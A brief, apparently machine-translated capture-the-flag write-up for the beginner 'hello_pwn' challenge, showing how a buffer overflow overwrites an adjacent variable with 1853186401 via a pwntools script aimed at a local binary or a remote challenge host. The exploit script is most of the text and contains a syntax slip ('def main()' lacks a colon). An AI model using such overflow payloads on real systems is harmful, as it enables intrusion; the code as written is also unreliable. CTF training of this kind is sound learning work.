Beginner level of attack and defense World Hello_ pwn

First , Let's look at the documents first . Then look at its protection .

There is no protection . Run it ：

Put in IDA View in ,

Need us to unk_601068 Fill data on , And then dword_60106C The content in the address is overwritten with 1853186401.

To write Python Code ：

from pwn import *
context(os='Linux',arch="amd64",log_level="debug")
content = 1

def main()
	if content == 1:
		day3 = process("hello_pwn")
	else:
		day3 =remote("111.200.241.244",49744)
	payload = b'a' * (0x6c - 0x68) + p64(1853186401)
	day3.recvuntil("lets get helloworld for bof\n")
	day3.sendline(payload)
	day3.interactive()

main()

process and remote Connect to local programs , That is, it is often said to play local and remote .
Add b Set as bitstream , Means to transmit data ,p64 pack , Package the data into a byte stream .

obtain Flag.